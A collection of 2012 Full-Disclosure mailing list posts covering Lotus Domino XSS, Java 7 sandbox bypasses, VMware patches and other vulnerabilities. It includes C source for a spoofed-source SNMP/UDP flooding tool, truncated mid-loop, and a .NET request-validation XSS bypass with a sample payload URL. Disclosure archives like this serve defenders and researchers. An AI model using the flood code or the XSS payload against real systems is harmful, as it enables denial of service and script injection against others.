[Full-disclosure] IBM Lotus Domino Cross-Site Scripting and HTTP Response Splitting vulnerabilities
Hello list! This month (at 15th of August) IBM released the advisory about IBM Lotus Domino Cross-Site Scripting and HTTP Response Splitting vulnerabilities, which I've informed them about in May. This is only the part of all vulnerabilities, which I've found in their software, and they are working to fix other vulnerabilities. IBM Security Bulletin: Aug-2012 IBM Lotus Domino Web Server Cross-Site Scripting Vulnerabilities http://www-01.ibm.com/support/docview.wss?uid=swg21608160 CVE IDs: CVE-2012-3301, CVE-2012-3302. Note, that regardless in title are mentioned only Cross-Site Scripting vulnerabilities, there is also HTTP Response Splitting described in it. - Affected products: - Vulnerable are IBM Lotus Domino 8.5.3 and previous versions. These vulnerabilities will be fixed in Domino 8.5.4. For fixes, workarounds and mitigations reference to above-mentioned IBM Security Bulletin. While fixes for all vulnerabilities are planned for inclusion in Domino 8.5.4, workarounds exist for some of them in Domino servers 7.0 and later by enabling a single INI setting (see bellow). -- Details: -- In the advisory IBM mentioned four vulnerabilities. 1. IBM Lotus Domino WebMail Cross-Site Scripting. CVE ID: CVE-2012-3302 2. IBM Lotus Domino Help Cross-Site Scripting on HTTP Server. CVE ID: CVE-2012-3302 3. IBM Lotus Domino HTTP Server Response Splitting. CVE ID: CVE-2012-3301 4. IBM Lotus Domino HTTP Server Response Splitting. CVE ID: CVE-2012-3301 The first one is in reality 2 XSS holes (in Webmail) and the second one is in reality four XSS holes (in Help). It's just IBM like to put multiple vulnerabilities of the same type into one vulnerability in their advisories. The third one is XSS via HTTP Response Splitting (variation of the fourth vulnerability). IBM put all the holes in their own order, different then I sent them. Note, that there is inaccuracy in the description of the third vulnerability (concerning browsers vulnerable to this attack). Earlier I've already informed IBM about this inaccuracy and they should fix it. -- Workaround: -- There is a workaround for all mentioned in the advisory XSS vulnerabilities: To avoid this attack, administrators can set the following variable on the Domino server NOTES.INI, available in release 7.0 and later: DominoValidateFramesetSRC=1 Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SE-2012-01] information regarding recently discovered Java 7 attack
On Wed, Aug 29, 2012 at 5:20 PM, Security Explorations wrote: > > On 2012-08-29 23:04, Tim wrote: >> Based on the details released so far about the exploit in the wild, >> how likely do you think it is that your research may have been leaked? > > Currently, it looks more like an independent work than a leak to me. > The way in which SunToolkit class and its getField method is used > to achieve a complete JVM sandbox bypass is different from what was > demonstrated to Oracle (different exploitation path). A good explaination of the vulnerability is here: "The new Java 0Day examined," http://www.h-online.com/security/features/The-new-Java-0day-examined-1677789.html. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] SNMP Reflected Denial Of Service - PoC
On 8/30/12 8:13 PM, Full Disclosure wrote: > Hi list, > > I am releasing this code due to the fact that my dev server got hacked and > people have been using it in the wild for bad things. > > Network admins should patch their networks appropriately by rejecting snmp > connections from unwanted IPs. > > > The quoted code is actually nothing more than a regular threaded UDP flood DoS tool, both SNMP spoofed requests and responses are equally 65 bytes (no reflection). Make a simple network capture for verification. The payload is a mis-used .1.3.6.1 getBulk SNMP request resulting in a null value response. A sample perl script with the biggest reflection factor per transaction achieved on Cisco devices is available here [1] (Amplification = 84 bytes request / 1480 bytes response). For more information about SNMP reflection DoS you may refer to this link [2]. The quoted code reminds me an old implementation on the same concept [3]. [1] http://pastebin.com/M9cJs89h [2] https://bechtsoudis.com/hacking/snmp-reflected-denial-of-service/ [3] http://packetstormsecurity.org/DoS/snmpdos.c -A -- #--# | Anestis Bechtsoudis | | | | Network Operation Center,| | Laboratory for Computing (LabCom), | | Dept. of Computer Engineering & Informatics, | | University of Patras, Greece | |--| | Public Key: http://bit.ly/Q2f5gW | | Website: https://bechtsoudis.com | #--# ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] SNMP Reflected Denial Of Service - PoC
Hi list,
I am releasing this code due to the fact that my dev server got hacked and
people have been using it in the wild for bad things.
Network admins should patch their networks appropriately by rejecting snmp
connections from unwanted IPs.
---
/* For educational purposes only */
/* The author of this code is not responsible for the use of this proof of
concept tool */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//#define DEBUG // uncomment if you want to see debugging messages
#define MAXTHREADS 4 // Maximum number of threads
#define SNMPPORT 161 // Destination SNMP port (default)
const char payload[] =
"\x30\x23\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x16\x02\x02\x4e\x47"
"\x02\x01\x00\x02\x02\x08\xca\x30\x09\x30\x07\x06\x03\x2b\x06\x01\x05\x00";
struct iphdr ip_head;
struct udphdr udp_head;
struct sockaddr_in target;
struct snmp_s {
unsigned int ip;
struct snmp_s *next;
}snmp_s;
struct snmp_s* first_s = NULL;
struct udp_pseudo/*the udp pseudo header*/
{
unsigned int src_addr;
unsigned int dst_addr;
unsigned char dummy;
unsigned char proto;
unsigned short length;
} pseudohead;
struct help_checksum /*struct for checksum calculation*/
{
struct udp_pseudo pshd;
struct udphdr udphd;
} udp_chk_construct;
struct args {
int socket;
char *filename;
unsigned int srcip;
unsigned int dstip;
}args;
unsigned short in_cksum(unsigned short *addr,int len);
void send_udp(int sfd,unsigned int src,unsigned short src_p,
unsigned int dst,unsigned short dst_p,char *buffer,int len);
void *drdos();
void add_snmp_s(void);
int snmp_s_length(struct snmp_s* list);
void push_ip(struct snmp_s** first_s_ref, unsigned int ip);
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft=len;
register unsigned short *w=addr;
register int sum=0;
unsigned short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(u_char *)(&answer)=*(u_char *)w;
sum+=answer;
}
sum=(sum >> 16)+(sum & 0x);
sum+=(sum >> 16);
answer=~sum;
return(answer);
}
void send_udp(int sfd,unsigned int src,unsigned short src_p,
unsigned int dst,unsigned short dst_p,char *buffer,int len)
{
char *packet;
/*Prepare IP header*/
ip_head.id = htons(rand() + (rand()%100));
ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct
udphdr)+len);
ip_head.saddr= src;
ip_head.daddr= dst;
ip_head.check= in_cksum((unsigned short *)&ip_head,sizeof(struct
iphdr));
/*Prepare UDP header*/
udp_head.source = htons(src_p);
udp_head.dest = htons(dst_p);
udp_head.check = 0;
/*Assemble structure for checksum calculation and calculate checksum*/
pseudohead.src_addr=ip_head.saddr;
pseudohead.dst_addr=ip_head.daddr;
pseudohead.dummy=0;
pseudohead.proto=ip_head.protocol;
pseudohead.length=htons(sizeof(struct udphdr)+len);
udp_chk_construct.pshd=pseudohead;
udp_chk_construct.udphd=udp_head;
packet=malloc(sizeof(struct help_checksum)+len);
memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum));
memcpy(packet+sizeof(struct help_checksum),buffer,len);
udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct
help_checksum)+len);
free(packet);
/*Assemble packet*/
packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+len);
memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct
udphdr));
memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,len);
/*Send packet*/
target.sin_family = AF_INET;
target.sin_addr.s_addr= ip_head.daddr;
target.sin_port = udp_head.source;
sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct
udphdr)+len,0,(struct sockaddr *)&target,sizeof(struct sockaddr_in));
free(packet);
}
void *drdos(void) {
char* aline = calloc(16, sizeof(char) );
#ifdef DEBUG
unsigned long count = 0;
#endif
for(;;) {
struct snmp_s *current = first_s;
#ifdef DEBUG
printf("Attack in progress\n");
#endif
// read from linked list
while( current != NULL ) {
args.dstip = current->ip;
send_udp( args.socket, args.srcip,
[Full-disclosure] [SE-2012-01] New security issue affecting Java SE 7 Update 7
Hello All, Yesterday, an out-of-band patch was released by Oracle [1], which among other things incorporated fixes for the issues exploited by the recent Java SE 7 attack code (ClassFinder / MethodFinder bugs). One of the fixes incorporated in the released update also addressed the exploitation vector with the use of the sun.awt.SunToolkit class. Removing getField and getMethod methods from the implementation of the aforementioned class caused all of our full sandbox bypass Proof of Concept codes [2] not to work any more (please note, that not all security issues that were reported in Apr 2012 got addressed by the recent Java update). Today we sent a security vulnerability report along with a Proof of Concept code to Oracle. The code successfully demonstrates a complete JVM sandbox bypass in the environment of a latest Java SE software (version 7 Update 7 released on Aug 30, 2012). The reason for it is a new security issue discovered, that made exploitation of some of our not yet addressed bugs possible to exploit again. Thank you. Best Regards, Adam Gowdiak - Security Explorations http://www.security-explorations.com "We bring security research to the new level" - References: [1] Oracle Security Alert for CVE-2012-4681 http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html [2] SE-2012-01 Proof of Concept Codes (technical information) http://www.security-explorations.com/en/SE-2012-01-poc.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SE-2012-01] information regarding recently discovered Java 7 attack
On 2012-08-29 23:04, Tim wrote: > Based on the details released so far about the exploit in the wild, > how likely do you think it is that your research may have been leaked? Currently, it looks more like an independent work than a leak to me. The way in which SunToolkit class and its getField method is used to achieve a complete JVM sandbox bypass is different from what was demonstrated to Oracle (different exploitation path). Thanks. -- Best Regards, Adam Gowdiak - Security Explorations http://www.security-explorations.com "We bring security research to the new level" - ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SE-2012-01] information regarding recently discovered Java 7 attack
On 2012-08-29 18:10, Jeffrey Walton wrote: > Have you reported the issues to US Cert? No. Per our Disclosure Policy, we stick to reporting issues to original vendors only. > Will you be disclosing details on Bugtraq/Full Disclosure? Yes. As indicated, we are planning to release a technical write-up where we will present many new details of security issues found. We'll send notification about the paper release to Bugtraq / Full Disclosure mailing lists. We do not plan to do that prior to the release of the necessary security fixes by Oracle though. Thank you. Best Regards, Adam Gowdiak - Security Explorations http://www.security-explorations.com "We bring security research to the new level" - ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] .Net Cross Site Scripting - Request Validation Bypassing
.Net Cross Site Scripting - Request Validation Bypassing Seeker Research Center By Zamir Paltiel, August 2012 Overview A vulnerability in the .Net Request Validation mechanism allows bypassing the filter and execution of malicious scripts in the browsers of users via Cross Site Scripting attacks. The exploitation technique explained here allows sending tags through the Request Validation Filter in a manner that will pass browser syntax and be rendered by browsers. Details The .Net Request Validation mechanism prevents attackers from sending tags as the value of the parameters. It is however possible to bypass this mechanism and send arbitrary tags that facilitate script execution. This is caused by the fact that although is restricted by the Request Validation filter, <%tag> is not restricted but parsed by Internet Explorer browsers as a valid tag. Exploit === An example of the exploitation of this vulnerability would be crafting a link to a page that reflects a parameter value to the user. As the value of the parameter the attacker would provide a <%tag> with the style attribute and an expression, for example: http://www.vulnerablesite.com/login.aspx?param=<%tag style="xss:expression(alert(123))" > This will bypass the filter and execute the script in the brackets. Affected Systems This vulnerability has been tested on .Net frameworks 2.0 and above. Vendor Response === The Request Validation Feature in ASP.NET is designed to perform basic input validation. It is not designed to make security decisions for applications developed using ASP.NET. Only the original developers can determine what content the ASP.NET application is designed to process and handle. Microsoft recommends that all software developers perform input/data validation of all sources. We do this to encourage our customers to make more robust applications that are less susceptible to security issues. The Request Validation Feature was designed and released to help developers in this effort. For more information about our recommendations to software developers, please see the following MSDN article: http://msdn.microsoft.com/en-us/library/ff649487.aspx#pagguidelines0001_inputdatavalidation. Microsoft therefore will not be releasing a fix for this issue. Credit == This vulnerability has been identified by Zamir Paltiel, Seeker Research Center. For more information please visit http://www.quotium.com/prod/ResearchCenter/XSS-NetrequestValidation.php ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] VMSA-2012-0013 VMware vSphere and vCOps updates to third party libraries
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - --- VMware Security Advisory Advisory ID: VMSA-2012-0013 Synopsis: VMware vSphere and vCOps updates to third party libraries Issue date: 2012-08-30 Updated on: 2012-08-30 (initial advisory) CVE numbers: --- JRE --- See references --- OpenSSL (userworld) --- CVE-2010-4180, CVE-2010-4252, CVE-2011-0014, CVE-2011-4108, CVE-2011-4109, CVE-2011-4576, CVE-2011-4577, CVE-2011-4619, CVE-2012-0050 --- OpenSSL (service console) --- CVE-2012-2110 --- kernel (service console) --- CVE-2011-1833, CVE-2011-2484, CVE-2011-2496, CVE-2011-3188, CVE-2011-3209, CVE-2011-3363, CVE-2011-4110, CVE-2011-1020, CVE-2011-4132, CVE-2011-4324, CVE-2011-4325, CVE-2012-0207, CVE-2011-2699, CVE-2012-1583 --- Perl (service console) --- CVE-2010-2761, CVE-2010-4410, CVE-2011-3597 --- libxm2 (service console) --- CVE-2012-0841 --- glibc (service console) --- CVE-2009-5029, CVE-2009-5064, CVE-2010-0830, CVE-2011-1089, CVE-2011-4609, CVE-2012-0864 --- GnuTLS (service console) --- CVE-2011-4128, CVE-2012-1569, CVE-2012-1573 --- popt and rpm (service console) --- CVE-2012-0060, CVE-2012-0061, CVE-2012-0815 --- Apache struts --- CVE-2012-0393 - --- 1. Summary VMware has updated several third party libraries in vSphere and vcOps to address multiple security vulnerabilities. 2. Relevant releases VMware vCenter 4.1 without Update 3 VMware vCenter Update Manager 4.1 without Update 3 VMware ESX without patches ESX410-201208101-SG, ESX410-201208102-SG, ESX410-201208103-SG, ESX410-201208104-SG, ESX410-201208105-SG, ESX410-201208106-SG, ESX410-201208107-SG VMware ESXi without patch ESXi410-201208101-SG VMware vCOps 5.0.2 or earlier 3. Problem Description a. vCenter and ESX update to JRE 1.6.0 Update 31 The Oracle (Sun) JRE is updated to version 1.6.0_31, which addresses multiple security issues. Oracle has documented the CVE identifiers that are addressed by this update in the Oracle Java SE Critical Patch Update Advisory of February 2012. Column 4 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available. VMware Product Running Replace with/ Product Version onApply Patch = === === = vCenter 5.0 Windows patch pending vCenter 4.1 Windows vCenter 4.1 Update 3 vCenter 4.0 Windows not applicable ** VirtualCenter 2.5 Windows not applicable ** Update Manager 5.0 Windowspatch pending Update Manager 4.1 Windowsnot applicable ** Update Manager 4.0 Windowsnot applicable ** hosted *any any not affected ESXiany ESXi not applicable ESX 4.1 ESX ESX410-201208101-SG ESX 4.0 ESX not applicable ** ESX 3.5 ESX not applicable ** * hosted products are VMware Workstation, Player, ACE, Fusion. ** this product uses the Oracle (Sun) JRE 1.5.0 family b. vCenter Update Manager update to JRE 1.5.0 Update 36 The Oracle (Sun) JRE is updated to 1.5.0_36 to address multiple security issues. Oracle has documented the CVE identifiers that are addressed in JRE 1.5.0_36 in the Oracle Java SE Critical Patch Update Advisory for June 2012. Column 4 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available. VMware Product Running Replace with/ ProductVersion on Apply Patch = === = vCenter5.0 Windows not applicable ** vCenter4.1 Windows not applicable ** vCenter4.0 Windows patch pending VirtualCenter 2.5 Windows patch pending Update Manager 5.0 Windows not applicable ** Update Manager 4.1 Windows Update Manager Update 3 Update Manager 4.0 Windows patch pending hosted * any any not affected ESXi any ESXi not affected ESX4.1 ESX no
